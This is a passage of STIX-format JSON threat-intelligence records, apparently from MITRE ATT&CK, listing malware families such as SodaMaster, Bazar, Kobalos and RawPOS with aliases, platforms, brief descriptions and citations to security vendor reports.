Windows and Linux variants have been observed.(Citation: Fidelis Turbo)","modified":"2022-04-15T15:04:10.654Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Derusbi","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["SodaMaster","DARKTOWN","dfls","DelfsCake"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--94d6d788-07bb-4dcc-b62f-e02626b00108","type":"malware","created":"2021-06-21T15:52:14.624Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0627","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0627"},{"source_name":"DARKTOWN","description":"(Citation: Securelist APT10 March 2021)"},{"source_name":"dfls","description":"(Citation: Securelist APT10 March 2021)"},{"source_name":"DelfsCake","description":"(Citation: Securelist APT10 March 2021)"},{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-10-11T15:50:25.945Z","name":"SodaMaster","description":"[SodaMaster](https://attack.mitre.org/software/S0627) is a fileless malware used by [menuPass](https://attack.mitre.org/groups/G0045) to download and execute payloads since at least 2020.(Citation: Securelist APT10 March 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Christopher Glyer, Mandiant, @cglyer"],"x_mitre_aliases":["Hikit"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--95047f03-4811-4300-922e-1ba937d53a61","type":"malware","created":"2017-05-31T21:32:14.124Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0009","external_id":"S0009"},{"url":"http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","source_name":"Novetta-Axiom"},{"url":"https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html","description":"Glyer, C., Kazanciyan, R. (2012, August 20). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.","source_name":"FireEye Hikit Rootkit"}],"modified":"2022-01-12T16:21:44.692Z","name":"Hikit","description":"[Hikit](https://attack.mitre.org/software/S0009) is malware that has been used by [Axiom](https://attack.mitre.org/groups/G0001) for late-stage persistence and exfiltration after the initial compromise.(Citation: Novetta-Axiom)(Citation: FireEye Hikit Rootkit)","x_mitre_version":"1.3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Grandoreiro"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","type":"malware","created":"2020-11-10T21:13:44.259Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0531","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0531"},{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."},{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-12-22T21:22:34.174Z","name":"Grandoreiro","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) is a banking trojan written in Delphi that was first observed in 2016 and uses a Malware-as-a-Service (MaaS) business model. [Grandoreiro](https://attack.mitre.org/software/S0531) has confirmed victims in Brazil, Mexico, Portugal, and Spain.(Citation: Securelist Brazilian Banking Malware July 2020)(Citation: ESET Grandoreiro April 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Josh Campbell, Cyborg Security, @cyb0rgsecur1ty"],"x_mitre_aliases":["WellMail"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--959f3b19-2dc8-48d5-8942-c66813a5101a","type":"malware","created":"2020-09-29T17:48:27.517Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0515","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0515"},{"source_name":"CISA WellMail July 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c","description":"CISA. (2020, July 16). MAR-10296782-3.v1 – WELLMAIL. Retrieved September 29, 2020."},{"source_name":"NCSC APT29 July 2020","url":"https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf","description":"National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."}],"modified":"2020-10-09T15:38:41.755Z","name":"WellMail","description":"[WellMail](https://attack.mitre.org/software/S0515) is a lightweight malware written in Golang used by [APT29](https://attack.mitre.org/groups/G0016), similar in design and structure to [WellMess](https://attack.mitre.org/software/S0514).(Citation: CISA WellMail July 2020)(Citation: NCSC APT29 July 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["LiteDuke"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--95e2cbae-d82c-4f7b-b63c-16462015d35d","type":"malware","created":"2020-09-24T17:51:35.005Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0513","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0513"},{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2021-10-04T15:34:14.458Z","name":"LiteDuke","description":"[LiteDuke](https://attack.mitre.org/software/S0513) is a third stage backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016), primarily in 2014-2015. [LiteDuke](https://attack.mitre.org/software/S0513) used the same dropper as [PolyglotDuke](https://attack.mitre.org/software/S0518), and was found on machines also compromised by [MiniDuke](https://attack.mitre.org/software/S0051).(Citation: ESET Dukes October 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Alan Neville, @abnev"],"x_mitre_aliases":["Starloader"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--96566860-9f11-4b6f-964d-1c924e4f24a4","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0188","external_id":"S0188"},{"source_name":"Starloader","description":"(Citation: Symantec Sowbug Nov 2017)"},{"url":"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments","description":"Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.","source_name":"Symantec Sowbug Nov 2017"}],"modified":"2020-03-18T16:01:37.852Z","name":"Starloader","description":"[Starloader](https://attack.mitre.org/software/S0188) is a loader component that has been observed loading [Felismus](https://attack.mitre.org/software/S0171) and associated tools. (Citation: Symantec Sowbug Nov 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Sakula","Sakurel","VIPER"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--96b08451-b27a-4ff6-893f-790e26393a8e","type":"malware","created":"2017-05-31T21:32:48.482Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0074","external_id":"S0074"},{"url":"http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.","source_name":"Dell Sakula"}],"modified":"2020-03-30T18:13:29.169Z","name":"Sakula","description":"[Sakula](https://attack.mitre.org/software/S0074) is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015. (Citation: Dell Sakula)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["VaporRage"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--96eca9b9-b37f-42f1-96dc-a2c441403194","type":"malware","created":"2021-08-04T15:02:56.965Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0636","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0636"},{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T15:46:36.800Z","name":"VaporRage","description":"[VaporRage](https://attack.mitre.org/software/S0636) is a shellcode downloader that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Walker Johnson"],"x_mitre_aliases":["RawPOS","FIENDCRY","DUEBREW","DRIFTWOOD"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--9752aef4-a1f3-4328-929f-b64eb0536090","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0169","url":"https://attack.mitre.org/software/S0169","source_name":"mitre-attack"},{"source_name":"RawPOS","description":"(Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: DarkReading FireEye FIN5 Oct 2015)"},{"source_name":"FIENDCRY","description":"The FIENDCRY component is a memory scraper based on MemPDump that scans through process memory looking for regular expressions. Its stage 1 component scans all processes, and its stage 2 component targets a specific process of interest. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: Github Mempdump) (Citation: DarkReading FireEye FIN5 Oct 2015)"},{"source_name":"DUEBREW","description":"The DUEBREW component is a Perl2Exe binary launcher. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)"},{"source_name":"DRIFTWOOD","description":"The DRIFTWOOD component is a Perl2Exe compiled Perl script used by G0053 after they have identified data of interest on victims. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)"},{"source_name":"Kroll RawPOS Jan 2017","description":"Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder’s Toolkit. Retrieved October 4, 2017.","url":"https://www.kroll.com/en/insights/publications/malware-analysis-report-rawpos-malware"},{"source_name":"TrendMicro RawPOS April 2015","description":"TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017.","url":"http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf"},{"source_name":"Visa RawPOS March 2015","description":"Visa. (2015, March). Visa Security Alert: \"RawPOS\" Malware Targeting Lodging Merchants. Retrieved October 6, 2017.","url":"https://usa.visa.com/dam/VCOM/download/merchants/alert-rawpos.pdf"},{"source_name":"Mandiant FIN5 GrrCON Oct 2016","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.","url":"https://www.youtube.com/watch?v=fevGZs0EQu8"},{"source_name":"DarkReading FireEye FIN5 Oct 2015","description":"Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.","url":"https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?"},{"source_name":"Github Mempdump","description":"DiabloHorn. (2015, March 22). mempdump. Retrieved October 6, 2017.","url":"https://github.com/DiabloHorn/mempdump"}],"modified":"2020-03-30T03:01:39.526Z","name":"RawPOS","description":"[RawPOS](https://attack.mitre.org/software/S0169) is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008. (Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: Visa RawPOS March 2015) FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Sibot"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--979adb5a-dc30-48f0-9e3d-9a26d866928c","type":"malware","created":"2021-03-12T18:08:23.552Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0589","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0589"},{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-04-20T22:30:19.071Z","name":"Sibot","description":"[Sibot](https://attack.mitre.org/software/S0589) is dual-purpose malware written in VBScript designed to achieve persistence on a compromised system as well as download and execute additional payloads. Microsoft discovered three [Sibot](https://attack.mitre.org/software/S0589) variants in early 2021 during its investigation of [APT29](https://attack.mitre.org/groups/G0016) and the SolarWinds cyber intrusion campaign.(Citation: MSTIC NOBELIUM Mar 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":[],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--98e8a977-3416-43aa-87fa-33e287e9c14c","type":"malware","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0155","external_id":"S0155"},{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}],"modified":"2018-10-17T00:14:20.652Z","name":"WINDSHIELD","description":"[WINDSHIELD](https://attack.mitre.org/software/S0155) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Drovorub"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--99164b38-1775-40bc-b77b-a2373b14540a","type":"malware","created":"2020-08-25T18:05:14.953Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0502","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0502"},{"source_name":"NSA/FBI Drovorub August 2020","url":"https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF","description":"NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020."}],"modified":"2020-09-18T20:55:03.153Z","name":"Drovorub","description":"[Drovorub](https://attack.mitre.org/software/S0502) is a Linux malware toolset comprised of an agent, client, server, and kernel modules, that has been used by [APT28](https://attack.mitre.org/groups/G0007).(Citation: NSA/FBI Drovorub August 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Cybereason Nocturnus, @nocturnus"],"x_mitre_aliases":["Bazar","KEGTAP","Team9"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","type":"malware","created":"2020-11-18T19:07:48.008Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0534","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0534"},{"source_name":"KEGTAP","description":"(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: CrowdStrike Wizard Spider October 2020)"},{"source_name":"Team9","description":"(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)"},{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."},{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."},{"source_name":"CrowdStrike Wizard Spider October 2020","url":"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/","description":"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021."},{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}],"modified":"2021-08-18T19:43:00.355Z","name":"Bazar","description":"[Bazar](https://attack.mitre.org/software/S0534) is a downloader and backdoor that has been used since at least April 2020, with infections primarily against professional services, healthcare, manufacturing, IT, logistics and travel companies across the US and Europe. [Bazar](https://attack.mitre.org/software/S0534) reportedly has ties to [TrickBot](https://attack.mitre.org/software/S0266) campaigns and can be used to deploy additional malware, including ransomware, and to steal sensitive data.(Citation: Cybereason Bazar July 2020)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Manikantan Srinivasan, NEC Corporation India","Pooja Natarajan, NEC Corporation India","Hiroki Nagahama, NEC Corporation"],"x_mitre_aliases":["Kobalos"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--9abdda30-08e0-4ab1-9cf0-d447654c6de9","type":"malware","created":"2021-08-24T18:56:35.507Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0641","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0641"},{"source_name":"Kobalos","description":"(Citation: ESET Kobalos Feb 2021)(Citation: ESET Kobalos Jan 2021)"},{"source_name":"ESET Kobalos Feb 2021","url":"https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/","description":"M.Leveille, M., Sanmillan, I. (2021, February 2). Kobalos – A complex Linux threat to high performance computing infrastructure. Retrieved August 24, 2021."},{"source_name":"ESET Kobalos Jan 2021","description":"M.Leveille, M., Sanmillan, I. (2021, January). A WILD KOBALOS APPEARS Tricksy Linux malware goes after HPCs. Retrieved August 24, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf"}],"modified":"2021-10-25T17:16:21.187Z","name":"Kobalos","description":"[Kobalos](https://attack.mitre.org/software/S0641) is a multi-platform backdoor that can be used against Linux, FreeBSD, and Solaris. [Kobalos](https://attack.mitre.org/software/S0641) has been deployed against high profile targets, including high-performance computers, academic servers, an endpoint security vendor, and a large internet service provider; it has been found in Europe, North America, and Asia. [Kobalos](https://attack.mitre.org/software/S0641) was first identified in late 2019.(Citation: ESET Kobalos Feb 2021)(Citation: ESET Kobalos Jan 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["BadPatch"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--9af05de0-bc09-4511-a350-5eb8b06185c1","type":"malware","created":"2019-01-29T21:33:34.082Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0337","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0337"},{"source_name":"BadPatch","description":"(Citation: Unit 42 BadPatch Oct 2017)"},{"source_name":"Unit 42 BadPatch Oct 2017","url":"https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/","description":"Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."}],"modified":"2020-03-17T00:22:32.796Z","name":"BadPatch","description":"[BadPatch](https://attack.mitre.org/software/S0337) is a Windows Trojan that was used in a Gaza Hackers-linked campaign.(Citation: Unit 42 BadPatch Oct 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["MESSAGETAP"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--9b19d6b4-cfcb-492f-8ca8-8449e7331573","type":"malware","created":"2020-05-11T21:41:19.008Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0443","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0443"},{"source_name":"FireEye MESSAGETAP October 2019","url":"https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html","description":"Leong, R., Perez, D., Dean, T. (2019, October 31). MESSAGETAP: Who’s Reading Your Text Messages?. Retrieved May 11, 2020."}],"modified":"2020-06-24T01:43:11.282Z","name":"MESSAGETAP","description":"[MESSAGETAP](https://attack.mitre.org/software/S0443) is a data mining malware family deployed by [APT41](https://attack.mitre.org/groups/G0096) into telecommunications networks to monitor and save SMS traffic from specific phone numbers, IMSI numbers, or that contain specific keywords. (Citation: FireEye MESSAGETAP October 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["RATANKBA"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0241","url":"https://attack.mitre.org/software/S0241","source_name":"mitre-attack"},{"source_name":"RATANKBA","description":"Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.","url":"https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"},{"source_name":"Lazarus RATANKBA","description":"Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/"}],"modified":"2020-09-02T18:46:32.365Z","name":"RATANKBA","description":"[RATANKBA](https://attack.mitre.org/software/S0241) is a remote controller tool used by [Lazarus Group](https://attack.mitre.org/groups/G0032). [RATANKBA](https://attack.mitre.org/software/S0241) has been used in attacks targeting financial institutions in Poland, Mexico, Uruguay, the United Kingdom, and Chile. It was also seen used against organizations related to telecommunications, management consulting, information technology, insurance, aviation, and education. [RATANKBA](https://attack.mitre.org/software/S0241) has a graphical user interface to allow the attacker to issue jobs to perform on the infected machines. (Citation: Lazarus RATANKBA) (Citation: RATANKBA)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["SOUNDBITE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--9ca488bd-9587-48ef-b923-1743523e63b2","type":"malware","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0157","external_id":"S0157"},{"source_name":"SOUNDBITE","description":"(Citation: FireEye APT32 May 2017)"},{"url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","source_name":"FireEye APT32 May 2017"}],"modified":"2020-03-30T18:11:45.403Z","name":"SOUNDBITE","description":"[SOUNDBITE](https://attack.mitre.org/software/S0157) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 